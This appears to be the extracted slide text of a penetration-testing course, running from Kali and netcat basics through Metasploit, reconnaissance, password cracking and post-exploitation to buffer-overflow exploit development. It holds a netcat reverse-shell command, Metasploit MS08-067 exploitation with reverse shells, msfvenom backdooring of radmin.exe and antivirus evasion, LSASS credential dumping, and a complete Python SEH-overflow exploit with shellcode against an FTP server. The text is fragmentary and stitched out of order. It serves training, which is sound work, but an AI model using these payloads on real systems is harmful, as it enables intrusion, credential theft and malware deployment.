Advanced Penetration Testing: Your Picture Here
Advanced Penetration Testing: Your Picture Here
Testing
Episode 1: Using Kali Linux
● Change Directories:
root@kali:~# cd Desktop (go to subdirectory Desktop)
root@kali:~/Desktop# cd .. (previous directory)
root@kali:~# cd ../etc (go to previous directory then the etc directory)
root@kali:/etc#
Man Pages
root@kali:~# su georgia
georgia@kali:/root$ adduser james
bash: adduser: command not found
georgia@kali:/root$ sudo adduser james
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
[ New File ]
^G Get Help ^O WriteOut ^R Read File ^Y Prev Page ^K Cut Text ^C Cur Pos
^X Exit ^J Justify ^W Where Is ^V Next Page ^U UnCut Text^T To Spell
Editing Files with Nano
● Searching for text: Ctrl+W
Search: georgia
^G Get Help ^Y First Line^T Go To Line^W Beg of ParM-J FullJstifM-B Backwards
^C Cancel ^V Last Line ^R Replace ^O End of ParM-C Case SensM-R Regexp
Editing Files with Nano
● In nano we can just type what we want to add
hi
georgia
we
are
teaching
pentesting
today
~
~
"testfile.txt" 7L, 44C 1,1 All
Editing Files with Vi
● By default Vi is in command mode. You cannot directly enter
text.
● Enter i to switch to insert mode, ESC to switch back to
command mode.
● Save and exit from command mode with :wq
● In command mode we can use shortcuts to perform tasks.
○ For example, put the curser on the word we and type dd to
delete the line
Data Manipulation
● Enter the data below in a text file:
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides *
6 HackerHalted October
7 Hackercon April
Data Manipulation
● Grep looks for instances of a text string in a file.
root@kali:~# nc -v 10.0.0.100 81
nc: cannot connect to 10.0.0.100 (10.0.0.100) 81 [81]:
Connection refused
nc: unable to connect to address 10.0.0.100, service 81
Netcat
● Opening a Netcat listener:
root@kali:~# nc -lvp 1234
nc: listening on :: 1234 …
nc: listening on 0.0.0.0 1234 …
● In another terminal:
root@kali:~# nc 10.0.0.100 1234
whoami
root
Netcat
● Pushing a command shell back to a listener:
● Set up a listener
root@kali:~# nc -lvp 1234
nc: listening on :: 1234 …
nc: listening on 0.0.0.0 1234 …
● In another terminal:
root@kali:~# nc 10.0.0.100 1234 -e /bin/bash
Netcat
● Transferring files:
● Redirect output to a file:
root@kali:~# nc -lvp 1234 > netcatfile
Programming
Advanced Penetration YOUR PICTURE HERE
Testing
Episode 2: Programming
#!/bin/bash
echo “Usage: ./pingscript.sh [network]”
echo “example: ./pingscript.sh 192.168.20”
● If statements only run if the condition is true. They are available in many
languages, though the syntax may vary.
● In this case, the text is only echoed if the first argument is null.
Bash Scripting
#!/bin/bash
If [ “$1” == “” ]
then
echo “Usage: ./pingscript.sh [network]”
echo “example: ./pingscript.sh 192.168.20”
else
for x in ‘seq 1 254’; do
ping -c 1 $1.$x
done
fi
#!/usr/bin/python
ip = raw_input(Enter the ip: “)
port = input(“Enter the port: “)
Using Metasploit
Advanced Penetration YOUR PICTURE HERE
Testing
Episode 3: Using Metasploit
● Exploitation Framework
● Written in Ruby
● Modular
● Exploits, payloads, auxiliaries, and more
Terminology
● msfconsole
● msfcli
● msfweb (discontinued)
● msfgui (discontinued)
● Armitage
Utilities
● msfpayload
● msfencode
● msfupdate
● msfvenom
Exploitation Streamlining
● Tradition Exploit
Find public exploit
Replace offsets, return address, etc. for your target
Replace shellcode
● Metasploit
Load Metasploit module
Select target
Select payload
Metasploit Payloads
● help
● use
● show
● set
● setg
● exploit
Msfconsole Exploitation Example
msf> info exploit/windows/smb/ms08_067_netapi
msf> use exploit/windows/smb/ms08_067_netapi
msf> show options
msf> set RHOST 10.0.0.101
msf> show payloads
msf> set payload windows/shell/reverse_tcp
msf> show options
msf> set LHOST 10.0.0.100
msf> exploit
Msfcli
O = Show options
P = Show payloads
E = Run exploit
Msfcli Exploitation Example
msfcli –h
msfcli windows/smb/ms08_067_netapi O
msfcli windows/smb/ms08_067_netapi RHOST=10.0.0.101 P
msfcli windows/smb/ms08_067_netapi RHOST=10.0.0.101
PAYLOAD=windows/shell/ reverse_tcp O
msfcli windows/smb/ms08_067_netapi RHOST=10.0.0.101
PAYLOAD=windows/shell/ reverse_tcp LHOST=10.0.0.100 E
Auxiliary Module Example
msf> info scanner/smb/pipe_auditor
msf> use scanner/smb/pipe_auditor
msf> show options msf> set RHOSTS 10.0.0.101
msf> exploit
Msfvenom
-l = list modules
-f = output format
-p = payload to use
Msfvenom Example
msfvenom –h
msfvenom -l payloads
msfvenom -p windows/messagebox –o
msfvenom --help-formats
msfvenom -p windows/messagebox text="hi georgia" -f exe
> test.exe
Information Gathering
Advanced Penetration YOUR PICTURE HERE
Testing
Episode 4: Information Gathering
● It’s amazing the things you can find with crafted Google
searches. These are often called Google Dorks.
● Database of helpful Google Dorks: http://www.exploit-
db.com/google-dorks/
● Example: xamppdirpasswd.txt filetype:txt finds xampp
passwords
Shodan
root@kali:~# maltego
Recon-ng
root@kali:~# recon-ng
Recon-ng Example
recon-ng > use recon/hosts/enum/http/web/xssed
[recon-ng][default][xssed] > show options
msf> exploit
Exercises
1) Spend some time trying the tools in this section against
your organization.
2) By default Nmap only scans 1000 interesting ports. How
can you scan the entire port range?
3) Use the -sV Nmap flag to run a version scan to get more
information. Based on the results, use Google to find
possible vulnerabilities on the target systems
Video Summary
In today’s brief lecture, we discussed:
Information Gathering
● Using google and other search resources to find
information
● DNS information
● Port scanning
Looking Forward
Vulnerability Identification
Advanced Penetration YOUR PICTURE HERE
Testing
Episode 5: Vulnerability Identification
● auxiliary/scanner/ftp/anonymous
● Many exploits have check function that will see if a
victim is vulnerable rather than exploiting the issue.
● Example: MS08_067 has a check function.
● Instead of exploit type check (no need to set a
payload).
Web Application Scanning
● Website scanner.
● Vulnerability database of known website issues.
VRFY georgia
250 Georgia<georgia@>
VRFY john
551 User not local
Capturing Traffic
Advanced Penetration YOUR PICTURE HERE
Testing
Episode 6: Capturing Traffic
sslstrip -l 8080
Video Summary
In today’s brief lecture, we discussed:
Capturing Traffic
● Various methods to capture traffic
○ Wireshark
○ ARP
○ DNS
○ SSL
Looking Forward
Exploitation
Advanced Penetration YOUR PICTURE HERE
Testing
Episode 7: Exploitation
● windows/pop3/seattlelab_pass.
Exploiting a Web Application
Password Attacks
Advanced Penetration YOUR PICTURE HERE
Testing
Episode 8: Password Attacks
Sample wordlist:
Password
password
Password123
password1
● In real life you will need a better wordlist. Some samples in Kali already.
Crunch
john xphashes.txt
john linuxpasswords.txt – wordlist=passwordfile.txt
oclHashcat
● Offline hash cracking tool.
● https://www.cloudcracker.com.
Windows Credential Editor
● Tool to pull plaintext passwords, etc. out of the memory
of the LSASS process.
wce.exe -w
Video Summary
In today’s brief lecture, we discussed:
Password Attacks
● Online vs Offline attacks and their advantages/disadvantages
Looking Forward
Advanced Exploitation
Advanced Penetration YOUR PICTURE HERE
Testing
Episode 9: Advanced Exploitation
● setoolkit in Kali.
● https://www.virustotal.com.
root@kali:~# msfvenom -p
windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -x /usr/share/windows-
binaries/radmin.exe -k -f exe > radmin.exe
-x executable template
-k run the shellcode in a new thread
Metasploit Encoding
● We can also run our shellcode through and encoder to obfuscate it.
cd Hyperion-1.0/
cd Zveil-Evasion-master
./Veil-Evasion.py
Video Summary
In today’s brief lecture, we discussed:
Advanced Exploitation
● Client side and Social Engineering exploitation
● Encoding and obfuscation
Looking Forward
Post Exploitation
Advanced Penetration YOUR PICTURE HERE
Testing
Episode 10: Post Exploitation
meterpreter>help
meterpreter>upload <filename> .
meterpreter>hashdump
Meterpreter Scripts
usr/share/metasploit-framework/modules/post/ windows/gather/credentials
load incognito
list tokens –u
● Impersonate another user’s token
Lateral Movement: SMB Capture
cd Responder
Exploit Development
Advanced Penetration YOUR PICTURE HERE
Testing
Episode 10: Exploit Development
./overflowtest AAAA
● Executed Normally
Overflowing Buffer with Strcpy
./overflowtest
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA
break 14
break 10
break 11
Running the program in GDB
● Run the program first with 4 A’s to see the program runs
normally
0x08048494
Look Back at Our Picture
Saved Return Address
● *Don’t worry if you do not have an previous experience with assembly. We will introduce it gradually in the course.
Disassembling a Function
(gdb) disass main
Dump of assembler code for function main:
0x0804847b <+0>: push ebp
0x0804847c <+1>: mov ebp,esp
0x0804847e <+3>: and esp,0xfffffff0
0x08048481 <+6>: sub esp,0x10
0x08048484 <+9>: mov eax,DWORD PTR [ebp+0xc]
0x08048487 <+12>: add eax,0x4
0x0804848a <+15>: mov eax,DWORD PTR [eax]
0x0804848c <+17>: mov DWORD PTR [esp],eax
0x0804848f <+20>: call 0x8048461 <function>
0x08048494 <+25>: mov DWORD PTR [esp],0x8048553
0x0804849b <+32>: call 0x8048320 <puts@plt>
0x080484a0 <+37>: leave
0x080484a1 <+38>: ret
Saved Return Address
● function is called at:
0x0804848f <+20>: call 0x8048461 <function>
(gdb) continue
Continuing.
Executed Normally
[Inferior 1 (process 4263) exited with code 022]
What is Up with the A’s?
● One A is off by itself as the first byte of one word.
● The null byte is the first byte of the next word, followed by
the rest of the A’s
0x4104a000 0x00414141
Running with ABCD
(gdb) run ABCD
Starting program: /home/georgia/overflowtest ABCD
Breakpoint 1, main (argc=2, argv=0xbffff174) at overflowtest.c:14
14 function(argv[1]);
(gdb) continue
Continuing.
Breakpoint 2, function (str=0xbffff35c "ABCD") at overflowtest.c:10
10 strcpy(buffer, str);
(gdb) continue
Continuing.
Running with ABCD
Breakpoint 3, function (str=0xbffff35c "ABCD") at overflowtest.c:11
11 }
(gdb) x/20xw $esp
0xbffff090: 0xbffff0ab 0xbffff35c 0x00000001 0x080482dd
0xbffff0a0: 0xbffff341 0x0000002f 0x4104a000 0x00444342
0xbffff0b0: 0x00000002 0xbffff174 0xbffff0d8 0x08048494
0xbffff0c0: 0xbffff35c 0xb7fff000 0x080484bb 0xb7fc3000
0xbffff0d0: 0x080484b0 0x00000000 0x00000000 0xb7e31a83
(gdb) x/xw $ebp
0xbffff0b8: 0xbffff0d8
Running with ABCD
0x4104a000 0x00444342
● So the first byte is the first byte for the 1st word, the 2nd
byte is the last byte for the second word, the 3rd byte is
the second to last byte, and 4th byte is the second byte,
and the null byte is the first byte of the second word.
Endianess
● Which byte gets loaded first
● File->Attach
● Highlight war-ftpd
● Click Attach
● Crash the program again. If EIP has A’s in it then the crash
is in the first half, if B’s its in the second half
● Written to C:\logs\war-ftpd\findmsp.txt
● Finds jmp esp and equivalent (call esp, push esp + ret).
bp 0x77C35459
● This doesn’t look like our picture from the last module.
-p is the payload. For this example we use an inline bind shell for
Windows.
root@kali:~# cd /usr/share/metasploit-framework/tools
root@kali:/usr/share/metasploit-framework/tools# ./metasm_shell.rb
Moving ESP out of the Way
● Assembly to move ESP is: ADD/SUB <destination>, <amount>
● Cmd +R cmd netstat -ano (check for port TCP 4444 listening).
nc 10.0.0.58 4444
C:\Documents and Settings\georgia\Desktop\WarFTP>echo %username%
echo %username%
georgia
Fuzzing
● In our last exercise I told you to use 1100 A’s in the
username field to cause a crash.
http://www.ietf.org/rfc/rfc1350.txt
GeorgiaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA
('\x00\x05\x00\x04Unknown or unsupported transfer mode :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA\x00', ('10.0.0.58', 1449))
Simple TFTP Fuzzer
● Fuzzing with length 500
GeorgiaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
('\x00\x05\x00\x04Unk\x00', ('10.0.0.58', 1453))
● Fuzzing with length 600
GeorgiaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA
Crashed Server
What Caused the Crash
● Close Immunity/Dettach/etc.
● Go to C:\Windows and open 3com control panel (blue and white 3).
● Find a register we control and find a JMP etc to it with !mona jmp -r
<register>. Put this in the saved return pointer overwrite. (Only bad
character is \x00).
● Generate shellcode with Msfvenom and put in the register (make sure
your offsets are correct).
Public Exploit for 3com TFTP 2.0.1
● http://www.exploit-db.com/exploits/3388/
● Written in Perl
● Often used to pad exploits, let the CPU slide down the
NOP sled.
Changing the Return Address
● $jmp_2000 = "\x0e\x08\xe5\x77";# jmp esi user32.dll windows 2000
sp4 English.
● $jmp_2000 = "\x4E\xAE\x45\x7E";
Never Trust Things you can’t read
● Shellcode in the exploit:
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x48".
"\xc8\xb3\x54\x83\xeb\xfc\xe2\xf4\xb4\xa2\x58\x19\xa0\x31\x4c\xab".
"\xb7\xa8\x38\x38\x6c\xec\x38\x11\x74\x43\xcf\x51\x30\xc9\x5c\xdf”…
Never Trust Shellcode Example
https://isc.sans.edu//diary/When+is+a+0day+not+a+0day?
%2bFake%2bOpenSSh%2bexploit,%2bagain.%2b/8185
Replacing the Shellcode
● We have 344 + 129 bytes for the shellcode before we hit the return address (original
shellcode and the NOP sled).
● That’s writing off the end of the stack (the attack string is
so long it cannot fit in the space allocated to the stack).
Writing off the End of the Stack
Control the SHE Chain
● Before writing this exploit off, go to View -> SEH Chain.
● Offset is 569.
● We need some way to burn 8 bytes off the stack and then
load NSEH.
● Replace the C’s with this address in little endian (also set a
breakpoint).
Exploit with Pop/Pop/Ret
#!/usr/bin/python
import socket
#buffer = "A" * 1200
buffer = "A" * 569 + "B" * 4 + "\xCA\x80\x45\x5F" + "D" * 623
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('10.0.0.58',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
Redirecting Execution to NSEH
● Use Shift+F9 to pass the exception and hit the breakpoint.
● From Mona findmsp we know we have 612 bytes after SEH (which is
already filled with the POP/POP/RET.
● From Mona findmsp we know we have 612 bytes after SEH (which is
already filled with the POP/POP/RET.
● Use Metasm to get the opcodes for jumping from NSEH to past SHE.
● This sends us over the padding and the SEH entry to our
longer attack string with space for our shellcode.
Taking the Short Jump
Adding a Payload
root@kali:~# msfvenom -p windows/shell_bind_tcp -s 612 -b
'\x00\x40\x0a\x0d’
● Need to pad the exploit so the exception (writing off the stack) still
occurs.
Finished Exploit
#!/usr/bin/python
import socket
#buffer = "A" * 1200
buf = ("\xdb\xdb\xb8\xbe\x90\xc5\x8f\xd9\x74\x24\xf4\x5b\x33\xc9" +
...
"\x43\x0b\xcd\xe3\xc9\x3a\x46\xaa\x98\x7e\x0b\x4d\x77\xbc" +
"\x32\xce\x7d\x3d\xc1\xce\xf4\x38\x8d\x48\xe5\x30\x9e\x3c" +
"\x09\xe6\x9f\x14")
buffer = "A" * 569 + "\xeb\x06\x41\x41" + "\xCA\x80\x45\x5F" + buf + "D" * 255
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('10.0.0.58',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
Metasploit Modules
● Written in Ruby.
root@kali:~/Desktop# cd /root/.msf4/modules
root@kali:~/.msf4/modules# mkdir exploits
root@kali:~/.msf4/modules# cd exploits/
root@kali:~/.msf4/modules/exploits# cp /usr/share/metasploit-
framework/modules/exploits/windows/tftp/futuresoft_transfermode.rb .
root@kali:~/.msf4/modules/exploits# mv futuresoft_transfermode.rb my3com.rb
Included Mixins
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh
● Payload information
● Target information
● Etc.
Payload Information
'Payload' =>
{
'Space' => 350,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
Payload Information
Exploit target:
Id Name
-- ----
0 Windows XP SP3 English
meterpreter >
Msftidy
● Tool to check that module meets format specifications to
be included in the Metasploit Framework.
root@kali:~# cd /usr/share/metasploit-framework/tools/
root@kali:/usr/share/metasploit-framework/tools#
./msftidy.rb /root/.msf4/modules/exploits/my3com.rb
Video Summary
In today’s brief lecture, we discussed:
Exploit Development
● Tools to use to develop exploits and test them out along with
ways to convert them to something Msfconsole can use.